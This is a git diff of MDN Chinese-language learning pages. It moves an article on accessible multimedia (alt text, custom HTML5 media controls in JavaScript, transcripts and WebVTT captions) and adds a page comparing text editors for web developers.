{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}
+ +

可能导致可访问性问题(accessibility problems )的另一类内容是多媒体 ——视频,音频和图像内容需要提供适当的文本替代方式,以便辅助技术及其用户能够理解它们。本文展示了具体内容。

+ + + + + + + + + + + + +
先决条件:基本的计算机素养,对HTML,CSS和JavaScript的基本理解,对可访问性 的理解
目的:了解多媒体背后的可访问性问题,以及如何克服这些问题。
+ +

多媒体和可访问性

+ +

到目前为止,在这个模块中,我们已经查看了各种内容以及需要做些什么来确保其可访问性,从简单的文本内容到数据表,图像,本机控件(如表单元素和按钮)以及更复杂的标记结构(具有WAI-ARIA属性)。

+ +

另一方面,这篇文章着眼于另一个一般的内容类别,可以说它不容易确保对多媒体的可访问性。图像,视频,<canvas>元素,Flash电影等不易被屏幕阅读器理解或被键盘导航,我们需要帮助他们。

+ +

但不要绝望 - 在这里我们将帮助您浏览可用于使多媒体更容易访问的技术。

+ +

简单图像

+ +

我们已经介绍了 HTML 图像的简单文本替代HTML: A good basis for accessibility –– 您可以参考其中了解详细信息。简而言之,应确保在可能的情况下,视觉内容具有替代文本,供屏幕阅读器拾取和读取给其用户。

+ +

示例:

+ +
<img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
+
+ +

可访问的音频和视频控件

+ +

基于 Web 的音频/视频执行控件不应该成为问题,对吗?让我们来调查一下。

+ +

本地 HTML5 控件的问题

+ +

HTML5 视频和音频实例甚至附带一组内置控件,允许您直接在盒子控制媒体。例如(请参阅本地控件.html 源代码和实时演示):

+ +
<audio controls>
+  <source src="viper.mp3" type="audio/mp3">
+  <source src="viper.ogg" type="audio/ogg">
+  <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p>
+</audio>
+
+<br>
+
+<video controls>
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+</video>
+ +

控件属性提供播放/暂停按钮、搜索栏等 - 您期望从媒体播放器获得的基本控件。它看起来像在Firefox 和 Chrome:

+ +

Screenshot of Video Controls in Firefox

+ +

Screenshot of Video Controls in Chrome

+ +

但是,这些控件存在问题:

+ + + +

为了解决这个问题,我们可以创建自己的自定义控件。让我们来看看如何。

+ +

创建自定义音频和视频控件

+ +

HTML5 视频和音频共享 API — HTML Media Element — 允许您将自定义功能映射到按钮和其他控件––这两个控件都是您自己定义的。

+ +

让我们从上面获取视频示例,并向其添加自定义控件。

+ +

基本设置

+ +

首先,获取我们的custom-controls-start.htmlcustom-controls.cssrabbit320.mp4rabbit320.webm文件的副本,并将它们保存在硬盘上的新目录中。

+ +

创建一个名为 main.js 的新文件并将其保存在同一目录中。

+ +

首先,让我们在 HTML 中查看视频播放器的 HTML:

+ +
<section class="player">
+  <video controls>
+    <source src="rabbit320.mp4" type="video/mp4">
+    <source src="rabbit320.webm" type="video/webm">
+    <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+  </video>
+
+  <div class="controls">
+    <button class="playpause">Play</button>
+    <button class="stop">Stop</button>
+    <button class="rwd">Rwd</button>
+    <button class="fwd">Fwd</button>
+    <div class="time">00:00</div>
+  </div>
+</section>
+ +

JavaScript基本设置

+ +

我们在视频下方插入了一些简单的控制按钮。当然,这些控件在默认情况下不会执行任何操作。要添加功能,我们将使用 JavaScript。

+ +

我们首先需要存储对每个控件的引用––将以下内容添加到 JavaScript 文件的顶部:

+ +
var playPauseBtn = document.querySelector('.playpause');
+var stopBtn = document.querySelector('.stop');
+var rwdBtn = document.querySelector('.rwd');
+var fwdBtn = document.querySelector('.fwd');
+var timeLabel = document.querySelector('.time');
+ +

接下来,我们需要获取对视频/音频播放器本身的引用––在前面的代码行下方添加此行代码:

+ +
var player = document.querySelector('video');
+ +

这包含对{{domxref("HTMLMediaElement")}}对象的引用,该对象具有几个有用的属性和方法,可用于将功能连接到我们的按钮。

+ +

在开始创建按钮功能之前,让我们删除本地控件,以免它们妨碍我们的自定义控件。在 JavaScript 的底部再次添加以下内容:

+ +
player.removeAttribute('controls');
+ +

这样做,而不是仅仅不包括控件属性摆在首位有一个优势,如果我们的JavaScript失败,用户仍然有一些控件可用。

+ +

连接按钮

+ +

首先,让我们设置播放/暂停按钮。我们可以使用一个简单的条件函数在播放和暂停之间切换,如下所示。将其添加到代码底部:

+ +
playPauseBtn.onclick = function() {
+  if(player.paused) {
+    player.play();
+    playPauseBtn.textContent = 'Pause';
+  } else {
+    player.pause();
+    playPauseBtn.textContent = 'Play';
+  }
+};
+ +

接下来,将此代码添加到底部,该代码控制停止按钮:

+ +
stopBtn.onclick = function() {
+  player.pause();
+  player.currentTime = 0;
+  playPauseBtn.textContent = 'Play';
+};
+ +

在 {{domxref("HTMLMediaElement")}}s上没有可用的 stop() 函数,因此我们改为pause()它,同时将当前时间设置为 0。

+ +

接下来,我们的快退和快进按钮–– 将以下块添加到代码的底部:

+ +
rwdBtn.onclick = function() {
+  player.currentTime -= 3;
+};
+
+fwdBtn.onclick = function() {
+  player.currentTime += 3;
+  if(player.currentTime >= player.duration || player.paused) {
+    player.pause();
+    player.currentTime = 0;
+    playPauseBtn.textContent = 'Play';
+  }
+};
+ +

这些非常简单,每次单击它们时,只需将 3 秒添加到currentTime。在真正的视频播放器中,您可能想要一个更精细的查找栏或类似功能。

+ +

请注意,当按下 Fwd 按钮时,我们还会检查currentTime是否超过总媒体的duration,或者媒体是否未播放。如果任一条件为 true,我们只需停止视频,以避免用户界面出错,如果他们试图在视频未播放时快进,或快进通过视频结束。

+ +

最后,将以下内容添加到代码末尾,以控制显示的时间:

+ +
player.ontimeupdate = function() {
+  var minutes = Math.floor(player.currentTime / 60);
+  var seconds = Math.floor(player.currentTime - minutes * 60);
+  var minuteValue;
+  var secondValue;
+
+  if (minutes<10) {
+    minuteValue = "0" + minutes;
+  } else {
+    minuteValue = minutes;
+  }
+
+  if (seconds<10) {
+    secondValue = "0" + seconds;
+  } else {
+    secondValue = seconds;
+  }
+
+  mediaTime = minuteValue + ":" + secondValue;
+  timeLabel.textContent = mediaTime;
+};
+ +

每次更新时间(每秒一次)时,我们都会触发此功能。它算出给定的当前时间值(以秒为单位)的分钟和秒数,如果分钟或秒值小于 10,则添加前导 0,然后创建显示读出并将其添加到时间标签。

+ +

阅读延伸

+ +

这为您提供了如何向视频/音频播放器实例添加自定义播放器功能的基本想法。有关如何向视频/音频播放器添加更复杂的功能(包括旧版浏览器的 Flash 回退)的详细信息,请参阅:

+ + + +

我们还创建了一个高级示例,以演示如何创建面向对象的系统,该系统可查找页面上的每个视频和音频播放器(无论有多少个视频和音频播放器),并将自定义控件添加到其中。请参阅custom-controls-oojs(see the source code)。

+ +

音频脚本

+ +

要为聋人提供访问音频内容的机会,您确实需要创建文本脚本。这些可以以某种方式与音频一样包含在与音频相同的页面上,也可以包含在单独的页面上并链接到

+ +

在实际创建脚本方面,您的选项包括:

+ + + +

和生活中的大多数事情一样,你倾向于得到你所付出的;不同的服务在准确性和制作成绩单所花时间方面会有所不同。如果你支付一个有信誉的公司做转录,你可能会得到它迅速和高质量的。如果你不想付钱,你很可能会以较低的质量完成,并且/或缓慢完成。

+ +

发布音频资源是不行的,但承诺稍后会发布脚本 - 此类承诺通常不会兑现,这将削弱您和您的用户之间的信任。如果您演示的音频类似于面对面会议或现场演讲表演,则可以在演出期间做笔记,与音频一起完整发布笔记,然后寻求帮助,以便稍后清理笔记。

+ +

脚本示例

+ +

如果使用自动服务,则可能需要使用该工具提供的用户界面。例如,查看Audio Transcription Sample 1并选择" More > Transcript"。

+ +

如果要创建自己的用户界面来显示音频和相关脚本,您可以随心所欲地执行此操作,但将其包含在可显示/可隐藏面板中可能有意义;请参阅我们的audio-transcript-ui 示例(另请参阅source code)。

+ +

音频描述

+ +

在音频附带视频的情况下,您需要提供某种音频说明来描述该额外内容。

+ +

在许多情况下,这只会采取视频的形式,在这种情况下,您可以使用本文下一节中介绍的技术实现字幕。

+ +

但是,有一些边缘情况。例如,您可能有一个会议的音频录制,该录音引用了附带的资源,如电子表格或图表。在这种情况下,应确保资源与音频和脚本一起提供,并在成绩单中提及它们的位置专门链接到这些资源。这当然会帮助所有用户,而不仅仅是聋人。

+ +
+

注意:音频脚本通常有助于多个用户组。除了让聋人用户访问音频中包含的信息外,还考虑一个带宽连接较低的用户,他们会发现下载音频不方便。还要考虑在嘈杂的环境中(如酒吧或酒吧)中的用户,他们试图访问信息,但无法通过噪音听到信息。

+
+ +

视频文本轨道

+ +

要使聋人、盲人甚至其他用户组(如低带宽用户或不理解视频录制的语言的用户)可以访问视频,您需要在视频内容中包括文本轨道。

+ +
+

注意:文本轨道对于潜在的任何用户也很有用,而不仅仅是那些残障用户。例如,有些用户可能无法听到音频,因为他们处于嘈杂的环境中(如显示体育游戏时的拥挤的酒吧),或者如果其他人在安静的地方(如图书馆),则可能不想打扰其他人。

+
+ +

这不是一个新概念 ––电视服务已经关闭了字幕相当长的时间了:

+ +

Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"

+ +

许多国家/地区提供以英语为母语的字幕的英语电影,例如,DVD 上通常提供不同的语言字幕

+ +

An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"

+ +

不同类型的文本轨道具有不同的目的。你遇到的主要情况是:

+ + + +

实现 HTML5 视频文本轨道

+ +

使用 HTML5 视频显示的文本轨道需要用 WebVTT 编写,WebVTT 是一种文本格式,其中包含多个文本字符串以及元数据,例如您希望在视频中显示每个文本字符串的时间,甚至限制样式/定位信息。这些文本字符串称为提示。

+ +

典型的 WebVTT 文件如下所示:

+ +
WEBVTT
+
+1
+00:00:22.230 --> 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --> 00:00:34.074
+This is the second.
+
+  ...
+ +

要将此信息与 HTML 媒体播放一起显示,您需要:

+ + + +

下面是一个示例:

+ +
<video controls>
+    <source src="example.mp4" type="video/mp4">
+    <source src="example.webm" type="video/webm">
+    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
+</video>
+ +

这将产生显示字幕的视频,如下所示:

+ +

Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

+ +

有关详细信息,请阅读Adding captions and subtitles to HTML5 video。您可以找到与本文一起使用本文的the example,本文由 Ian Devlin 编写(请参阅source code)。此示例使用一些 JavaScript 允许用户在不同的字幕之间进行选择。请注意,要打开字幕,您需要按"CC"按钮并选择一个选项 - 英语、德语或西班牙语。

+ +
+

注意:文本轨道和转录也可以帮助您使用{{glossary("SEO")}},因为搜索引擎在文本上尤其繁荣。文本轨道甚至允许搜索引擎通过视频直接链接到一个点部分。

+
+ +

其他多媒体内容

+ +

以上各节未涵盖您可能要放在网页上的所有类型的多媒体内容。您可能还需要处理使用其他可用技术创建的游戏、动画、幻灯片、嵌入式视频和内容,例如:

+ + + +

对于此类内容,您需要根据案例处理辅助功能问题。在某些情况下,它不是那么糟糕,例如:

+ + + +

然而,其他多媒体不是那么容易使访问。例如,如果您正在处理沉浸式 3D 游戏或虚拟现实应用,那么为此类体验提供文本替代方案确实非常困难,您可能会认为盲人用户实际上并不在此类应用的目标受众范围内。

+ +

但是,您可以确保此类应用具有足够的颜色对比度和清晰的显示,以便对视力低下/色盲的人来说可以感知,并且还可以使其键盘可访问。请记住,辅助功能就是尽可能多地做,而不是一直追求 100% 的可访问性,这通常是不可能的。

+ +

总结

+ +

本章概述了多媒体内容的可访问性问题,以及一些实用的解决方案。

+ +

{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}

+ +

In this module

+ + diff --git "a/files/zh-cn/learn/accessibility/\345\244\232\345\252\222\344\275\223/index.html" "b/files/zh-cn/learn/accessibility/\345\244\232\345\252\222\344\275\223/index.html" deleted file mode 100644 index 660ebca836..0000000000 --- "a/files/zh-cn/learn/accessibility/\345\244\232\345\252\222\344\275\223/index.html" +++ /dev/null @@ -1,354 +0,0 @@ ---- -title: 多媒体的可访问性(Accessible multimedia) -slug: learn/Accessibility/多媒体 -translation_of: Learn/Accessibility/Multimedia ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}
- -

可能导致可访问性问题(accessibility problems )的另一类内容是多媒体 ——视频,音频和图像内容需要提供适当的文本替代方式,以便辅助技术及其用户能够理解它们。本文展示了具体内容。

- - - - - - - - - - - - -
先决条件:基本的计算机素养,对HTML,CSS和JavaScript的基本理解,对可访问性 的理解
目的:了解多媒体背后的可访问性问题,以及如何克服这些问题。
- -

多媒体和可访问性

- -

到目前为止,在这个模块中,我们已经查看了各种内容以及需要做些什么来确保其可访问性,从简单的文本内容到数据表,图像,本机控件(如表单元素和按钮)以及更复杂的标记结构(具有WAI-ARIA属性)。

- -

另一方面,这篇文章着眼于另一个一般的内容类别,可以说它不容易确保对多媒体的可访问性。图像,视频,<canvas>元素,Flash电影等不易被屏幕阅读器理解或被键盘导航,我们需要帮助他们。

- -

但不要绝望 - 在这里我们将帮助您浏览可用于使多媒体更容易访问的技术。

- -

简单图像

- -

我们已经介绍了 HTML 图像的简单文本替代HTML: A good basis for accessibility –– 您可以参考其中了解详细信息。简而言之,应确保在可能的情况下,视觉内容具有替代文本,供屏幕阅读器拾取和读取给其用户。

- -

示例:

- -
<img src="dinosaur.png"
-     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
-
- -

可访问的音频和视频控件

- -

基于 Web 的音频/视频执行控件不应该成为问题,对吗?让我们来调查一下。

- -

本地 HTML5 控件的问题

- -

HTML5 视频和音频实例甚至附带一组内置控件,允许您直接在盒子控制媒体。例如(请参阅本地控件.html 源代码和实时演示):

- -
<audio controls>
-  <source src="viper.mp3" type="audio/mp3">
-  <source src="viper.ogg" type="audio/ogg">
-  <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p>
-</audio>
-
-<br>
-
-<video controls>
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
-</video>
- -

控件属性提供播放/暂停按钮、搜索栏等 - 您期望从媒体播放器获得的基本控件。它看起来像在Firefox 和 Chrome:

- -

Screenshot of Video Controls in Firefox

- -

Screenshot of Video Controls in Chrome

- -

但是,这些控件存在问题:

- - - -

为了解决这个问题,我们可以创建自己的自定义控件。让我们来看看如何。

- -

创建自定义音频和视频控件

- -

HTML5 视频和音频共享 API — HTML Media Element — 允许您将自定义功能映射到按钮和其他控件––这两个控件都是您自己定义的。

- -

让我们从上面获取视频示例,并向其添加自定义控件。

- -

基本设置

- -

首先,获取我们的custom-controls-start.htmlcustom-controls.cssrabbit320.mp4rabbit320.webm文件的副本,并将它们保存在硬盘上的新目录中。

- -

创建一个名为 main.js 的新文件并将其保存在同一目录中。

- -

首先,让我们在 HTML 中查看视频播放器的 HTML:

- -
<section class="player">
-  <video controls>
-    <source src="rabbit320.mp4" type="video/mp4">
-    <source src="rabbit320.webm" type="video/webm">
-    <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
-  </video>
-
-  <div class="controls">
-    <button class="playpause">Play</button>
-    <button class="stop">Stop</button>
-    <button class="rwd">Rwd</button>
-    <button class="fwd">Fwd</button>
-    <div class="time">00:00</div>
-  </div>
-</section>
- -

JavaScript基本设置

- -

我们在视频下方插入了一些简单的控制按钮。当然,这些控件在默认情况下不会执行任何操作。要添加功能,我们将使用 JavaScript。

- -

我们首先需要存储对每个控件的引用––将以下内容添加到 JavaScript 文件的顶部:

- -
var playPauseBtn = document.querySelector('.playpause');
-var stopBtn = document.querySelector('.stop');
-var rwdBtn = document.querySelector('.rwd');
-var fwdBtn = document.querySelector('.fwd');
-var timeLabel = document.querySelector('.time');
- -

接下来,我们需要获取对视频/音频播放器本身的引用––在前面的代码行下方添加此行代码:

- -
var player = document.querySelector('video');
- -

这包含对{{domxref("HTMLMediaElement")}}对象的引用,该对象具有几个有用的属性和方法,可用于将功能连接到我们的按钮。

- -

在开始创建按钮功能之前,让我们删除本地控件,以免它们妨碍我们的自定义控件。在 JavaScript 的底部再次添加以下内容:

- -
player.removeAttribute('controls');
- -

这样做,而不是仅仅不包括控件属性摆在首位有一个优势,如果我们的JavaScript失败,用户仍然有一些控件可用。

- -

连接按钮

- -

首先,让我们设置播放/暂停按钮。我们可以使用一个简单的条件函数在播放和暂停之间切换,如下所示。将其添加到代码底部:

- -
playPauseBtn.onclick = function() {
-  if(player.paused) {
-    player.play();
-    playPauseBtn.textContent = 'Pause';
-  } else {
-    player.pause();
-    playPauseBtn.textContent = 'Play';
-  }
-};
- -

接下来,将此代码添加到底部,该代码控制停止按钮:

- -
stopBtn.onclick = function() {
-  player.pause();
-  player.currentTime = 0;
-  playPauseBtn.textContent = 'Play';
-};
- -

在 {{domxref("HTMLMediaElement")}}s上没有可用的 stop() 函数,因此我们改为pause()它,同时将当前时间设置为 0。

- -

接下来,我们的快退和快进按钮–– 将以下块添加到代码的底部:

- -
rwdBtn.onclick = function() {
-  player.currentTime -= 3;
-};
-
-fwdBtn.onclick = function() {
-  player.currentTime += 3;
-  if(player.currentTime >= player.duration || player.paused) {
-    player.pause();
-    player.currentTime = 0;
-    playPauseBtn.textContent = 'Play';
-  }
-};
- -

这些非常简单,每次单击它们时,只需将 3 秒添加到currentTime。在真正的视频播放器中,您可能想要一个更精细的查找栏或类似功能。

- -

请注意,当按下 Fwd 按钮时,我们还会检查currentTime是否超过总媒体的duration,或者媒体是否未播放。如果任一条件为 true,我们只需停止视频,以避免用户界面出错,如果他们试图在视频未播放时快进,或快进通过视频结束。

- -

最后,将以下内容添加到代码末尾,以控制显示的时间:

- -
player.ontimeupdate = function() {
-  var minutes = Math.floor(player.currentTime / 60);
-  var seconds = Math.floor(player.currentTime - minutes * 60);
-  var minuteValue;
-  var secondValue;
-
-  if (minutes<10) {
-    minuteValue = "0" + minutes;
-  } else {
-    minuteValue = minutes;
-  }
-
-  if (seconds<10) {
-    secondValue = "0" + seconds;
-  } else {
-    secondValue = seconds;
-  }
-
-  mediaTime = minuteValue + ":" + secondValue;
-  timeLabel.textContent = mediaTime;
-};
- -

每次更新时间(每秒一次)时,我们都会触发此功能。它算出给定的当前时间值(以秒为单位)的分钟和秒数,如果分钟或秒值小于 10,则添加前导 0,然后创建显示读出并将其添加到时间标签。

- -

阅读延伸

- -

这为您提供了如何向视频/音频播放器实例添加自定义播放器功能的基本想法。有关如何向视频/音频播放器添加更复杂的功能(包括旧版浏览器的 Flash 回退)的详细信息,请参阅:

- - - -

我们还创建了一个高级示例,以演示如何创建面向对象的系统,该系统可查找页面上的每个视频和音频播放器(无论有多少个视频和音频播放器),并将自定义控件添加到其中。请参阅custom-controls-oojs(see the source code)。

- -

音频脚本

- -

要为聋人提供访问音频内容的机会,您确实需要创建文本脚本。这些可以以某种方式与音频一样包含在与音频相同的页面上,也可以包含在单独的页面上并链接到

- -

在实际创建脚本方面,您的选项包括:

- - - -

和生活中的大多数事情一样,你倾向于得到你所付出的;不同的服务在准确性和制作成绩单所花时间方面会有所不同。如果你支付一个有信誉的公司做转录,你可能会得到它迅速和高质量的。如果你不想付钱,你很可能会以较低的质量完成,并且/或缓慢完成。

- -

发布音频资源是不行的,但承诺稍后会发布脚本 - 此类承诺通常不会兑现,这将削弱您和您的用户之间的信任。如果您演示的音频类似于面对面会议或现场演讲表演,则可以在演出期间做笔记,与音频一起完整发布笔记,然后寻求帮助,以便稍后清理笔记。

- -

脚本示例

- -

如果使用自动服务,则可能需要使用该工具提供的用户界面。例如,查看Audio Transcription Sample 1并选择" More > Transcript"。

- -

如果要创建自己的用户界面来显示音频和相关脚本,您可以随心所欲地执行此操作,但将其包含在可显示/可隐藏面板中可能有意义;请参阅我们的audio-transcript-ui 示例(另请参阅source code)。

- -

音频描述

- -

在音频附带视频的情况下,您需要提供某种音频说明来描述该额外内容。

- -

在许多情况下,这只会采取视频的形式,在这种情况下,您可以使用本文下一节中介绍的技术实现字幕。

- -

但是,有一些边缘情况。例如,您可能有一个会议的音频录制,该录音引用了附带的资源,如电子表格或图表。在这种情况下,应确保资源与音频和脚本一起提供,并在成绩单中提及它们的位置专门链接到这些资源。这当然会帮助所有用户,而不仅仅是聋人。

- -
-

注意:音频脚本通常有助于多个用户组。除了让聋人用户访问音频中包含的信息外,还考虑一个带宽连接较低的用户,他们会发现下载音频不方便。还要考虑在嘈杂的环境中(如酒吧或酒吧)中的用户,他们试图访问信息,但无法通过噪音听到信息。

-
- -

视频文本轨道

- -

要使聋人、盲人甚至其他用户组(如低带宽用户或不理解视频录制的语言的用户)可以访问视频,您需要在视频内容中包括文本轨道。

- -
-

注意:文本轨道对于潜在的任何用户也很有用,而不仅仅是那些残障用户。例如,有些用户可能无法听到音频,因为他们处于嘈杂的环境中(如显示体育游戏时的拥挤的酒吧),或者如果其他人在安静的地方(如图书馆),则可能不想打扰其他人。

-
- -

这不是一个新概念 ––电视服务已经关闭了字幕相当长的时间了:

- -

Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"

- -

许多国家/地区提供以英语为母语的字幕的英语电影,例如,DVD 上通常提供不同的语言字幕

- -

An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"

- -

不同类型的文本轨道具有不同的目的。你遇到的主要情况是:

- - - -

实现 HTML5 视频文本轨道

- -

使用 HTML5 视频显示的文本轨道需要用 WebVTT 编写,WebVTT 是一种文本格式,其中包含多个文本字符串以及元数据,例如您希望在视频中显示每个文本字符串的时间,甚至限制样式/定位信息。这些文本字符串称为提示。

- -

典型的 WebVTT 文件如下所示:

- -
WEBVTT
-
-1
-00:00:22.230 --> 00:00:24.606
-This is the first subtitle.
-
-2
-00:00:30.739 --> 00:00:34.074
-This is the second.
-
-  ...
- -

要将此信息与 HTML 媒体播放一起显示,您需要:

- - - -

下面是一个示例:

- -
<video controls>
-    <source src="example.mp4" type="video/mp4">
-    <source src="example.webm" type="video/webm">
-    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
-</video>
- -

这将产生显示字幕的视频,如下所示:

- -

Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

- -

有关详细信息,请阅读Adding captions and subtitles to HTML5 video。您可以找到与本文一起使用本文的the example,本文由 Ian Devlin 编写(请参阅source code)。此示例使用一些 JavaScript 允许用户在不同的字幕之间进行选择。请注意,要打开字幕,您需要按"CC"按钮并选择一个选项 - 英语、德语或西班牙语。

- -
-

注意:文本轨道和转录也可以帮助您使用{{glossary("SEO")}},因为搜索引擎在文本上尤其繁荣。文本轨道甚至允许搜索引擎通过视频直接链接到一个点部分。

-
- -

其他多媒体内容

- -

以上各节未涵盖您可能要放在网页上的所有类型的多媒体内容。您可能还需要处理使用其他可用技术创建的游戏、动画、幻灯片、嵌入式视频和内容,例如:

- - - -

对于此类内容,您需要根据案例处理辅助功能问题。在某些情况下,它不是那么糟糕,例如:

- - - -

然而,其他多媒体不是那么容易使访问。例如,如果您正在处理沉浸式 3D 游戏或虚拟现实应用,那么为此类体验提供文本替代方案确实非常困难,您可能会认为盲人用户实际上并不在此类应用的目标受众范围内。

- -

但是,您可以确保此类应用具有足够的颜色对比度和清晰的显示,以便对视力低下/色盲的人来说可以感知,并且还可以使其键盘可访问。请记住,辅助功能就是尽可能多地做,而不是一直追求 100% 的可访问性,这通常是不可能的。

- -

总结

- -

本章概述了多媒体内容的可访问性问题,以及一些实用的解决方案。

- -

{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}

- -

In this module

- - diff --git a/files/zh-cn/learn/common_questions/available_text_editors/index.html b/files/zh-cn/learn/common_questions/available_text_editors/index.html new file mode 100644 index 0000000000..f8f394191d --- /dev/null +++ b/files/zh-cn/learn/common_questions/available_text_editors/index.html @@ -0,0 +1,295 @@ +--- +title: 什么文本编辑器比较好用? +slug: Learn/Common_questions/实用文本编辑器 +translation_of: Learn/Common_questions/Available_text_editors +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +
+

在这篇文章中我们强调了关于web开发者安装文本编辑器的一些考虑事项。

+
+ + + + + + + + + + + + +
前提条件:你应该已经知晓了  为了建立一个网站所需的各种软件
目标:学习作为一个web开发者如何选择一个最适合自己需求的文本编辑器。
+ +

概要

+ +

一个网站包括很多文本文件, 所以为了拥有一个有趣的,令人愉快的开发经历你应该明智地选择你的文本编辑器。 

+ +

可做选择的文本编辑器数量实在是太多了,因为文本编辑器对于计算机科学来说是如此基础(是的,web开发是计算机科学)。按理想来说,你应该尽你可能的尝试足够多的编辑器然后感受出来哪一款适合你的工作流程。但是我们将会给予你一些初学者的建议。

+ +

以下是一些你应该考虑的基本问题:

+ + + +

注意我们没有提及价格。显然,这也是要注意的,但一件产品的成本和它的质量或性能几乎没有关系。很大概率下,你能找到一个合适的免费文本编辑器。

+ +

以下是一些流行的编辑器:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
编辑器授权条款价格操作系统支持文档可延展性
AtomMIT/BSD免费Windows, Mac, Linux论坛在线指南
BracketsMIT/BSD免费Windows, Mac, Linux论坛, IRCGitHub Wiki
Coda闭源$99Mac推特, 论坛, 电子邮件电子书
EmacsGPL 3免费Windows, Mac, Linux常见问题, 邮件清单, 新闻组在线指南
Espresso闭源$75Mac常见问题, 电子邮件没有终端用户文档,但有插件文档
GeditGPL免费Windows, Mac, Linux邮件清单, IRC在线指南
Komodo EditMPL免费Windows, Mac, Linux论坛在线指南
Notepad++GPL免费Windows论坛Wiki
PSPad闭源免费Windows常见问题, 论坛在线帮助
Sublime Text闭源$70Windows, Mac, Linux论坛官方文档 非官方文档
TextMate闭源$50Mac推特, IRC, 邮件清单, 电子邮件在线指南, Wiki
TextWrangler闭源免费Mac常见问题, 论坛PDF指南
Vim特殊开放式许可证免费Windows, Mac, Linux邮件清单在线指南
Visual Studio CodeMIT许可下的开放源码/ 产品的具体许可证免费Windows, Mac, Linux常见问题     文件
+ +

主动学习

+ +

还没有主动学习。 请考虑投稿贡献。

+ +

深入挖掘

+ +

选择标准

+ +

所以,更详细地说,你在选择文本编辑器时应该怎么考虑?

+ +

我想在哪个操作系统上工作?

+ +

当然这是你的选择。然而,一些编辑器只支持特定的操作系统,所以如果你喜欢切换系统,这将会缩小你的选择范围。只要在你的系统上运行了,任何文本编辑器都能 完成工作,但跨平台的编辑器可以轻松的在操作系统间迁移。

+ +

所以首先找出你使用的操作系统,然后检查指定的编辑器是否支持你的操作系统。大多数编辑器在他们的网站上指定了是否支持Windows或Mac,尽管一些编辑器只支持某些版本(比如说只有Windows 7或更高版本而不是Vista)。如果正在运行Ubuntu,最好的方法是在Ubuntu软件中心内进行搜索。当然,一般来说,Linux / UNIX系列是一个相当多元化的地方,其中不同的发行版与不同的不兼容的包装系统配合使用。这意味着,如果你强烈地(而不是微弱的)想使用某些未经编译的文本编辑器,则可能需要下载源码自己编译它。

+ +

我想使用什么样的技术?

+ +

一般来说,任何文本编辑器都可以打开任意文本文件。这对于自己写笔记来说是非常有用的,但是当你使用HTMLCSSJavaScript进行Web开发和编写时,你将生产出很大的复杂文件。通过选择一个适用你使用的技术的文本编辑器,可以使你更轻松自如。许多文本编辑器可以帮助你实现如下功能

+ + + +

大多数文本编辑器现在都支持代码着色,但不一定是支持其他两个功能。尤其确保你的文本编辑器会对HTMLCSSJavaScript进行颜色编码

+ +

我希望我的文本编辑器具备哪些基本功能?

+ +

这取决于你的需求和计划。以下功能通常是很有帮助的:

+ + + +

我想为我的文本编辑器添加额外功能吗?

+ +

可扩展的编辑器具有较少的内置功能,但可以根据你的需要进行扩展。

+ +

如果你不确定要使用哪些功能,或者你最喜欢的编辑器缺少这些功能,使用可扩展编辑器吧。最好的编辑器将会提供许多插件,理想的方法是自动查找和安装新的插件。

+ +

如果你喜欢的功能很多 ,并且你的编辑器因为安装的插件而变慢,请尝试使用IDE(集成开发环境)。IDE在一个界面中提供了许多工具,对于初学者来说,这是一个令人望而生畏的工作,但是如果你感觉你的文本编辑器功能有限,这是一个不错的选项。以下是一些流行的IDE:

+ + + +

当使用文本编辑器时我需要支持或者帮助吗?

+ +

如果在使用软件时可以获得帮助总是令人高兴的。对于文本编辑器,请检查两种不同类型的支持:

+ +
    +
  1. 面向用户的内容(常见问题,指南,在线帮助)
  2. +
  3. 与开发者和其他用户讨论(论坛,电子邮件,IRC)
  4. +
+ +

在学习如何使用编辑器时使用书面文档。如果在安装或使用编辑器时遇到了疑难问题,请与其他用户联系。

+ +

对我来说文本编辑器的外观和感觉重要吗?

+ +

这个问题在于个人品味,但有些人喜欢自定义UI(用户界面)的每一个细节,从颜色到按钮位置。编辑器的灵活性差异很大,所以选择前先检查一下。找到一个可以改变配色方案的文本编辑器并不难,但是如果你想要大量的自定义,你可能最好使用IDE。

+ +

安装并设置

+ +

